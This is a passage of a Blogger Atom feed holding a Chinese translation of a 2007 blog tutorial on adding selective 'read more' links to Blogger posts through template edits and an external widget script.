url='http://bp0.blogger.com/_Lr7AKaVWcQI/RjzSJ7J7SII/AAAAAAAAAAc/Nr3CDLOONlY/s72-c/widgets.GIF' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-5333836305366623782</id><published>2007-05-04T22:23:00.000+08:00</published><updated>2007-05-20T17:55:32.715+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacks'/><category scheme='http://www.blogger.com/atom/ns#' term='Blogger Hack'/><title type='text'>[翻译]可选择的创建摘要</title><content type='html'>原文：&lt;a href="http://hackosphere.blogspot.com/2006/11/selective-expandable-posts.html"&gt;http://hackosphere.blogspot.com/2006/11/selective-expandable-posts.html&lt;/a&gt;&lt;br /&gt;　　虽然Peekaboo形式发表文章已经非常流行，但还是有些人喜欢读者点击文章后面的“阅读全文”来展开文章的传统方式。（在&lt;a href="http://hackosphere.blogspot.com/2006/09/expandable-post-summaries-with-beta.html"&gt;上一篇&lt;/a&gt;文章中解释过）。 他们问我如何只在较长的文章后面显示“阅读全文”的链接，而不是在所有的文章后面。我给了一些关于 peekaboo 和非 peekaboo 代码来提供这种功能。当我收到更多关于类似的请求时，我想我要为每个想使用这种功能的人贴篇代码。下面就是你们所需要的。&lt;br /&gt;1. 找到&lt;br /&gt;&lt;pre class="code"&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;head&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;在它前面加上 (如果没有)。&lt;br /&gt;&lt;pre class="code"&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;script &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;type&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;="text/javascript"&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; src&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;="http://www.anniyalogam.com/widgets/hackosphere.js"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;2. 找到 post-body 的 div 段代码，然后添加&lt;span style="font-style: italic;"&gt;斜体部分&lt;/span&gt;中的代码。&lt;br /&gt;&lt;pre class="code"&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;div &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;class&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='post-body'  &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0); font-style: italic;"&gt;expr:id&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255); font-style: italic;"&gt;='"post-" &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="font-style: italic;"&gt;+ data:post.id'&lt;/span&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255); font-style: italic;"&gt;  &amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0); font-style: italic;"&gt;b:if &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0); font-style: italic;"&gt;cond&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255); font-style: italic;"&gt;='data:blog.pageType == &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0); font-style: italic;"&gt;"item"'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255); font-style: italic;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-style: italic;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255); font-style: italic;"&gt;  &amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0); font-style: italic;"&gt;style&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255); font-style: italic;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="background-color: rgb(245, 245, 245); color: rgb(128, 0, 0); font-style: italic;"&gt;#fullpost&lt;/span&gt;&lt;span style="background-color: rgb(245, 245, 245); color: rgb(0, 0, 0); font-style: italic;"&gt;{&lt;/span&gt;&lt;span style="background-color: rgb(245, 245, 245); color: rgb(255, 0, 0); font-style: italic;"&gt;display&lt;/span&gt;&lt;span style="background-color: rgb(245, 245, 245); color: rgb(0, 0, 0); font-style: italic;"&gt;:&lt;/span&gt;&lt;span style="background-color: rgb(245, 245, 245); color: rgb(0, 0, 255); font-style: italic;"&gt;inline&lt;/span&gt;&lt;span style="background-color: rgb(245, 245, 245); color: rgb(0, 0, 0); font-style: italic;"&gt;;&lt;/span&gt;&lt;span style="background-color: rgb(245
